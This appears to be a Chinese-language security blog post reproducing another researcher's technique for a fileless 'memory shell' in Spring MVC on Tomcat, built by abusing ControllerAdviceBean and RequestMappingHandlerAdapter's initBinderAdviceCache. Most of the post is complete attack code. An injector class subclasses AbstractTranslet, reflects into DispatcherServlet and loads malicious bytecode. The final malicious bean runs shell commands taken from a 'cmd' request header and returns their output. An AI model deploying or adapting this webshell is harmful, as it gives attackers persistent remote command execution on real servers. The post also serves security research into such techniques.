ControllerAdviceBean Memory Shell
前言
本来在学Java中的回显链的,突然看到@fmyyy师傅发了一篇博客,马上进行研究,不愧是@fmyyy师傅,@fmyyy师傅讲的比较简单,所以自己复现了一遍,本文只是在@fmyyy师傅的基础上的更稍微详细一点的分析。
正文
该内存马是关于org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter
类的,有关这个组件可以看https://cloud.tencent.com/developer/article/1525175进行学习
主要是在该类的getDataBinderFactory
方法
他这里对controllerAdviceBean调用了resolveBean方法,controllerAdviceBean是遍历initBinderAdviceCache
属性后的ControllerAdviceBean类的对象,所以这里我们只需要构造一个ControllerAdviceBean的子类,里面的resolveBean方法里存放我们的恶意代码即可
package com.ch1e.memoryShell;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.bind.annotation.InitBinder;
import org.springframework.web.method.ControllerAdviceBean;
import java.io.IOException;
public class EvilControllerAdviceBean extends ControllerAdviceBean{
public EvilControllerAdviceBean(){
super("123");
}
public EvilControllerAdviceBean(Object bean) {
super(bean);
}
public EvilControllerAdviceBean(String beanName, BeanFactory beanFactory) {
super(beanName, beanFactory);
}
public EvilControllerAdviceBean(String beanName, BeanFactory beanFactory, ControllerAdvice controllerAdvice) {
super(beanName, beanFactory, controllerAdvice);
}
@Override
@InitBinder()
public Object resolveBean() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
return null;
}
}
所以我们的常规操作可以用加载字节码来加载我们的恶意类,然后实例化一个恶意类即可。现在的思路就是把我们的恶意类放到需要他自己去执行的地方去,上文说到controllerAdviceBean是遍历initBinderAdviceCache
属性后的ControllerAdviceBean类的对象,所以我们首先要找到一个存放RequestMappingHandlerAdapter
类的地方,并且要把他的initBinderAdviceCache属性中添加我们的恶意类
除此之外,我们还要给他的方法添加一个@InitBinder注解,不然initBinderAdviceCache初始是没有的
目前的链子就是RequestMappingHandlerAdapter.initBinderAdviceCache,还需要找到哪里存储了RequestMappingHandlerAdapter
类。在DispatcherServlet类中有这么一个属性handlerAdapters,存储的是HandlerAdapter类的List
经过调试发现他下标为0的时候存储的东西正是RequestMappingHandlerAdapter对象
所以我们只需要获取DispatcherServlet的handlerAdapters属性的第一个下标的值即可获取到RequestMappingHandlerAdapter,所以现在需要获取到DispatcherServlet,他会存储在StandardWrapper的instance属性中,并且StandardWrapper可以通过Context中的children中通过获取键为dispatcherServlet的值来获取
所以链很明显,获取context然后获取他的children属性,通过get("dispatcherServlet")来获取到StandardWrapper,并且获取他的instance得到DispatcherServlet
所以接下来就是写马了,大致马子如下:
package com.ch1e.memoryShell;
import com.ch1e.Utils;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Container;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardWrapper;
import org.springframework.web.method.ControllerAdviceBean;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
public class inject extends AbstractTranslet {
public inject() throws Exception {
//获取StandardContext
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
//从Context中获取children属性
java.lang.reflect.Field childrenfield = org.apache.catalina.core.ContainerBase.class.getDeclaredField("children");
childrenfield.setAccessible(true);
HashMap<String, Container> children = (HashMap<String, Container>) childrenfield.get(standardContext);
//获取StandardWrapper
StandardWrapper wrapper = (StandardWrapper) children.get("dispatcherServlet");
//从StandardWrapper的instance属性中获取DispatcherServlet
java.lang.reflect.Field field2 = wrapper.getClass().getDeclaredField("instance");
field2.setAccessible(true);
Object obj = field2.get(wrapper);
//获取DispatcherServlet的handlerAdapters
java.lang.reflect.Field field3 = obj.getClass().getDeclaredField("handlerAdapters");
field3.setAccessible(true);
ArrayList obj2 = (ArrayList) field3.get(obj);
//用加载字节码初始化恶意类
Class clazz = Class.forName("java.lang.ClassLoader");
Method defineClass = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
//上面恶意ControllerAdviceBean的字节码
byte[] code = Base64.getDecoder().decode(Utils.getByte());
Class targetClass = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "EvilControllerAdviceBean", code, 0, code.length);
ControllerAdviceBean evilControllerAdviceBean = (ControllerAdviceBean) targetClass.newInstance();
//获取到requestMappingHandlerAdapter对象
RequestMappingHandlerAdapter requestMappingHandlerAdapter = (RequestMappingHandlerAdapter)obj2.get(0);
//把恶意类添加到initBinderAdviceCache当中
Field field4 = requestMappingHandlerAdapter.getClass().getDeclaredField("initBinderAdviceCache");
field4.setAccessible(true);
LinkedHashMap linkedHashMap = (LinkedHashMap) field4.get(requestMappingHandlerAdapter);
Set<String> testSet = new HashSet<String>();
linkedHashMap.put(evilControllerAdviceBean,testSet);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
import org.springframework.beans.factory.BeanFactory;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.method.ControllerAdviceBean;
import java.io.IOException;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Scanner;
public class EvilControllerAdviceBean extends ControllerAdviceBean{
public EvilControllerAdviceBean(){
super("123");
}
public EvilControllerAdviceBean(Object bean) {
super(bean);
}
public EvilControllerAdviceBean(String beanName, BeanFactory beanFactory) {
super(beanName, beanFactory);
}
public EvilControllerAdviceBean(String beanName, BeanFactory beanFactory, ControllerAdvice controllerAdvice) {
super(beanName, beanFactory, controllerAdvice);
}
@Override
public Object resolveBean() {
try {
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String) getHeader.invoke(req, "cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK" : "UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(), charsetName).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
return "ch1e";
}catch (Exception e){
e.printStackTrace();
}
return "ch1e";
}
}